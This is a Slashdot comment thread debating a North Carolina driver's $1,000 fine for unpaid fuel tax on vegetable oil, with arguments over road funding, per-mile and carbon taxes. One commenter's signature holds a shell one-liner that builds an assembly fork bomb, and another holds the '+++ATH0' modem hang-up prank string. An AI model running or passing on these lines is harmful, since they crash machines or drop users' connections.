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NC Man Fined For Using Vegetable Oil As Fuel
mdsolar writes "The News and Observer reports on an Charlotte, NC driver who has been fined $1000 for not paying a fuel tax when he fills his tank with vegetable oil. Perhaps the funniest quote is this one: '"With the high cost of fuel right now, the department does recognize that a lot of people are looking for relief," said Reggie Little, assistant director of the motor fuel taxes division. "We're not here to hurt the small guy, we're just trying to make sure that the playing field is level."' Sure, since the field is so plainly tilted against Arab oil interests."
It's fair enough really. The tax is for road usage, not petrol usage. The bowser is just the fairest place to take it. That's why farmers get to use a "special" coloured diesel that has less tax on it.
Send lawyers, guns, and money!
That most states use some or all of the fuel taxes to help defray the cost of road improvements / maintenance (no one said they do a *good* job of this) Someone who is "home-brewing" fuel, whether it be bio-diesel, ethanol, or used cooking oil, ends up essentially using the roads for "free" as they don't pay the fuel tax.
I few options might be to allow home-fuelers to purchase a license (cheap), and be expected to pay more on the yearly state taxes. The license would allow the state to put the tax payment on the honor system (sort of like Michigans' expectation that people will report how much stuff they bought over the internet, and pay the appropriate state taxes on it), with some sort of check. Perhaps a random checking of X percent of the licensees state tax return, and go after the people who didn't pony up. Even go so far as to keep it (relatively) friendly, offer them the chance to pay the extra, no penalty, no crime, if they pay, subject dropped, if not, get mean. By keeping it friendly, there would be the hope of more people switching, get enough people using home-fueling, and then you can start selling licenses for fuel stations, providing alternative fuel(s), and charging the state fuel tax per-gallon, and phase out the licenses at that time.
While I don't know about the laws here in Michigan regarding this sort of thing, I know they've been floating the idea of doing away with the gas tax, and instead raising the sales tax. The thinking being that this would get visitors from out-state paying a bit more, so even if they don't fill up, they're still paying (some) towards the roads they drive on...
Do you see the FNORDS? I refuse to post anonymously, as I am fireproof!
ok, media today, we all know, is sensational. They leave out details that would make everything less bad-looking, and stretch details that make things look worse.
Looking at this, I have to assume such is occuring. Perhaps he's supposed to...no, that doesn't make sense. Maybe he...no, not that either.
Ok, I give. What am I missing? How in the heck does this actually make sense? I'm generally the one laughing at the conspiracy nuts, and explaining what the news left off that shows that BigBrother isn't actually hell-bent on making your life, specifically, a living hell. You're not so important that it's worth it to go out of the way to monitor every move you make, every call, every email, every purchase, to the nth degree.
All that withstanding, what the heck? Where's the hole I'm missing?
NC has a 20.2 cpg subsidy for B20 http://www.globalsubsidies.org/IMG/pdf/biofuels_su bsidies_us.pdf which he is not getting since he is buying his oil at the store. Since he is basically using B100, the state
should be paying him 5*20.2-29.9(use tax)=71.1 cpg. So, fining him for this seems about as funny as it gets.s -selling-solar.html
--
No Joke! Rent solar power and fix your electric rates for 25 years: http://mdsolar.blogspot.com/2007/01/slashdot-user
This pisses me off to no amount. I actually had been planning to convert an old diesel VW to a "grease car", which actually runs off of unmodified vegetable oil, not bio diesel. So which makes me think, using the states logic, if all electric vehicle owners will be fined in the future? What about bicycle riders who use the roads? Maybe we should have a tiered tax based on mileage. High mileage cars pay higher rates...
The tax is for road usage, not petrol usage.
This is true but charging the biodiesel user hardly "levels the playing field" and the punishment is silly. Big oil people have far greater resources for figuring taxes owed and paying them. If the state wanted to be fair, they could have figured the taxes for him and demanded payment. Slapping him with a fine in excess of what's owed is only something that should be done if he used the kind of scam accounting big oil companies use.
Something stinks and it's not biodiesel.
Friends don't help friends install M$ junk.
It goes toward Arab oil interests because it penalizes the consumer for using anything but gasoline, therefore shuttling more dollars toward the big oil machine. Yes, you could say that there is no more tax than you would pay for gasoline, but if you're not getting a price break to use alternative fuels, it's not going to happen.
but for some reason the link didn't work. Maybe I forgot to close a tag.
But algae is still your friend.
+++ATH0
For those of you wondering why this is even news, refer to the following quote from TFA:
;)
Teixeira's story began near Lowe's Motor Speedway on May 14. As recreational vehicles streamed in for race week, revenue investigators were checking fuel tanks of diesel RVs for illegal fuel.
Apparently, the inspectors were looking for people with diesel-engined RV's that may have had dyed diesel fuel (which is not taxed, or taxed at a lower rate than automotive diesel, and is generally used in farm vehicles) in their tanks. They may have also been checking for the use of Low Sulfur Diesel, which is illegal for use in MY2007 diesel engines (which require Ultra Low Sulfur Diesel fuel).
The race mentioned appears to have been a NASCAR event, which makes you wonder why state inspectors might think that farm diesel might end up in road vehicles there...
I myself didn't know that there *was* such a thing as "illegal diesel fuel" until I read this article.
OTOH, this is a ridiculous case that ought to be throw out of court. Just another case of overzealous law enforcement officials tossing their weight around.
Assuming that there's no wholesale price for used frying oil, and that you use 10 gallons in a week, your bond is $6,000 and your tax bill is $7,839, giving you a total cost of $13,839
All things considered, he got off lightly. He could have been ordered to pay the full costs outlined above (although probably at the wholesale price of cooking oil), plus fines for non-payment of the various bonds, plus a fine for non-payment of taxes.
Do I agree with these kinds of charges? No friggin' way! You want to talk about encouraging innovation, well innovate THIS, North Carolina - there will be no Hewletts or Packards or Jobs or Wosniks in a place that makes any kind of innovation totally unaffordable. If the best a startup can afford is a garage, what is the point in charging them in taxation more than everything they posses combined? It's a great way to kill the real doers in the world.
The same goes for any other State that inflicts taxes greater than the value of that which is being taxed, and doubly goes for Britain where common law and common sense are supposed to take precedence over civil and criminal law. (That fact has been used many times in appeals, and is probably the only notable achievement British justice has, but it's probably one of the greatest achievements of any legal system.)
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
NC has some of the highest gasoline/diesel prices in the southeast due to state taxes. Fuel in Virginia, for example, is often 20 cents per gallon cheaper.
So imagine you're a long-haul trucker, traveling thousands of miles on one trip. What do you do? You buy fuel where's cheap, filling both 100-gallon tanks to the top. IOW, you don't buy gas in states where it's expensive, you just drive straight through. What does the state of NC call this? Yep, you guessed it: "fuel tax evasion!" That's right. They even have checkpoints set up on the highways to measure the amount of fuel in a big rig's tanks and THEY FINE THE TRUCKER FOR THE TAXES HE WOULD HAVE PAID if he were stupid enough to buy NC's overpriced fuel.
By the way, everyone was outraged about "Big Oil's OBSCENE profits" last year. Get this: Exxon makes about $0.06 profit per each gallon of gasoline sold. That's after discovery, drilling, transport, refining, and delivery to retail. The State of NC takes 10X that much (about $.57 per gallon) for doing nothing.
The tax money collected from gas may be USED for road upkeep and constuction. It may be INTENDED for that purpose. It may be EARMARKED..
but a tax on gas is not a tax on road use. It's a tax on gas. No matter what mileage you get, you pay the same tax per gallon -- the tax is on the GAS.
If you get 30mpg, do you pay 3 times the tax per gallon as someone who gets 10mpg? No. You pay the same per gallon, because the tax is a tax on gas. Not on road usage.
It's FOR road usage, but it's ON gas.
Basically, they have no leg to stand on here. There's no tax on homemade biodiesel. He's not evading paying any taxes. Is he not paying any tax to fuel his vehicle and use the roads? Sure isn't. Good thing using the road is free, and it's the gasoline and diesel at the pump that's taxed to pay for the roads.
... still waiting for this free-as-in-beer free beer I keep hearing about.
We evil socialists are so wicked that we then want to pay for your retirement and your college education! Muahahah.
I think that US and Asian taxes are much lower than the Northern European ones. Mind you, that weakens the guys case somewhat, since it means a greater proportion of them are used to pay for roads.
Incidentally in the Fuel Tax protests in the UK, I found out that something like 75% of the cost of fuel is tax. In which case a couple of possibilities occur to me.
One is that biofuel should have a low tax to increase usage but the tax should increase to in the long run the government doesn't lose too much cash. E.g while they are in minority the tax should be low, gradually rising as they take over from fossil fuel, but designed to still give and incentive to switch. If you could get both political parties to agree on this, people making fossil fuel and car manufacturers would have an incentitive to help the transition in return for knowing how the government would set fuel taxes.
The other thing is that you could easily use fuel tax to regulate oil prices. So the tax would rise and fall to compensate for oil costs. If you did both of these, you'd be remarkably insulated from evil terrorist petrostates as you took steps to completely cut off their influence.
Actually given that most of EU budget is spent on subsidizing farmers to grow nothing and that is hard to reform, you could keep spending the money but using it to subsidize production of various biofuel crops. So basically with a bit of planning the Middle Easy can go to hell in a handbasket over a couple of decades and it makes no difference.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Trying to tax a product based on how it's used is absurd.
The correct thing to do here is this: Define the tax to be on gasoline / diesel sales at a gas station. If a significant portion of the population (even a couple percent) decides to get diesel automobiles and buy heating oil to fuel them, then either apply the tax to sales of heating oil too or remove the tax on diesel fuel and create a yearly tax on owning a diesel vehicle. There's no reason to worry about vegetable oil at all - there isn't a large enough supply to matter.
My point is this: Distributors should be responsible for taxes on products they sell. If a few people get similar products through different channels, that's ok - they may be fringe, or the market may be changing. Once the market has changed, the taxes should be changed to catch up. But fining people for making a non-standard market choice is absurd - in fact, it should be criminal.
-- The act of censorship is always worse than whatever is being censored. Always.
Why should those who choose to pursue alternative fuel sources automatically get an out on paying for the roads they are going to be driving on with that alternative fuel?
Am going to be buying a scooter sometime this year to save on gas. With about every model getting 60-110 MPG...does that mean that with a 1.5-2 gallon tank...should the government rape me more???
Since my vehicle gets great mileage...having to fill up with about $4-5 every week or so...rather than the $40-100 people in their cars/SUV's...does that mean because I get more use of the road at lesser cost than others...I should pay the government for the costs they are not getting from me?
What if more & more people start using these vehicles...rather than the gas guzzlers the government is used to people driving & pay fuel taxes on?
How about those of us who live along state lines...which or both states should I be responsible for?
How about if one state does start doing this & I buy my fuel in another state which does not rape me in these taxes???
Don't worry about the world coming to an end today. It's already tomorrow in Australia. - Charles M. Schulz
Singapore takes a similar approach, however, it is also easier to get by without a car in city-state. American cities could probably benefit from the congestion tax implemented in London, which applies to cars in the city during business hours; I know that NYC is looking into this. One major problem with taxing either gas or cars is that it is a regressive tax. Besides, it doesn't matter just how fuel efficient or expensive a car is, what matters is the emissions created during its use (and production). A carbon tax addresses these issues, because it is intended to be a revenue neutral tax, in which the money that is collected from corporations selling energy of fuels to consumers is returned when consumers file for taxes. This way, individuals can make their own short-term (driving habits) and long-term (car purchases) based on the premise that they can save by cutting down on their carbon emissions. http://www.carbontax.org/ By the way, you can't "really make taxation progressive by taxing the percentage of the vehicle's value to bring in the necessary revenue," because that's the same principal as sales tax which is the primary example of a regressive tax.
I live in NC, most people won't even find out about this. The biggest paper "The Charlotte Observer" doesn't carry this type of news. The TV news won't carry this. No one will know and those who do are apathetic. The ones that aren't apathetic hate anything remotly tree-huggerish. I have been insulted because of my eco-councious actions even when they weren't affecting anyone.
Few people are going to hear or do anything. To bad this happened right when I was starting to think better of my state.
I don't preview or spellcheck.
do you have to pay fuel tax on whatever you had for breakfast?
Actually they're looking at taxing per mile with GPS encoders in your car showing how far you drove.
I believe Oregon has already piloted said program. The problem seems to be as people push for higher per mile return on the fuel it uses their revenues go down. So now they feel they should get a per-mile rate instead of a per-gallon rate.
I'm a bit surprised this was tagged with humor, as it's not really funny and it's really happening to this guy and sets a precedent for other states to come after all of the folks interested in not burning oil products to make their cars move.
I'm sure we'll see some asinine proposals to add taxes to wind power generation/solar generation that is done by individuals to live off-grid or to reduce their consumption because once again with the taxes placed on the electrical usage reducing your usage of it via these methods is stripping the state of it's ability to generate revenue.
Heaven forbid the states actually reduce their output as well. There sure seems to be a lot of waste in government, at least in my experience with seeing the back end of government entities.
As a rock-in-roll Physicist once said, No matter where you go, there you are.
Minnesota Public Radio runs a regular (every 3 months or so) chat with former governors. Wendell Anderson (the one on the cover of Time Magazine in the 1970's holding up a big Walleye...or was it a Northern, oh well, you get the idea) and Arne Carlson and maybe they had one other but I can't remember his name.
They both clearly, seriously (and humorously) claimed that writing actual letters (not e-mail) to state legislators or governors had an impact. And if they got 3-5 letters, they assumed that small number of people sufficiently motivated to write and post a letter represented a much larger number of people who felt the same way.
Maybe it's just in Minnesota or in the past, or both, but I doubt it.
If two guys drive the same distance to work every day, and one gets paid minimum wage for doing backbreaking labor while the other gets a huge salary for sitting behind a desk, seems perfectly fair to me that the latter contributes more to road upkeep -- the roads are worth a lot more to him.
I'd say the roads would be worth a lot more to the first guy who'd likely be homeless without them.
But you could also argue that if the minimum wage worker lost his ability to get to work, he'd be a lot more screwed than the rich guy, who probably has some savings or at least credit to live on for a bit. Heck, the rich guy might be able to just work from home, whereas that wouldn't be possible for most minimum wage jobs. So who really benefits more from the road - the guy who absolutely needs it to get by, or the guy who could get along fine without it?
Warning: Apple/Nintendo fangirl. Likes her electronics cute & cuddly. May be rabid.
Take off your aluminum foil hat, and go outside. There's really no one watching you from your neighbors bushes. The State wants their tax money. The laws may not be perfect, but they say that you need to pay money to the state to use fuel in your car.
Are fuel taxes perfect? no. They don't directly tax how much benefit you get from the roads. They also will tax you if you use the fuel in other things (although the couple of gallons of gas I use in my lawn mower every year is hardly worth mentioning). So what? What possible better solution could there be? Do you want to pay someone to read your odometer? Maybe put a tracking device in your car to see how far you go on state roads? Maybe driving habits, like frequent stops and accelerations have a lot to do with the wear and tear on the roads. Maybe you should be taxed more if you use the roads after the snow storm because your tax money goes to the snow plows to clear the path for you. Oh wait, I've got an even better idea! Why don't we just tax the gasoline so that it works out to be pretty fair 99% of the time! Excellent idea Jeff!
This article should be a warning to people to make sure they are within the tax laws when they use bio diesel. But of course, on slashdot, everyone wants to bring up their ideas to change the friggin world! Oh well, that's really why I read it anyways.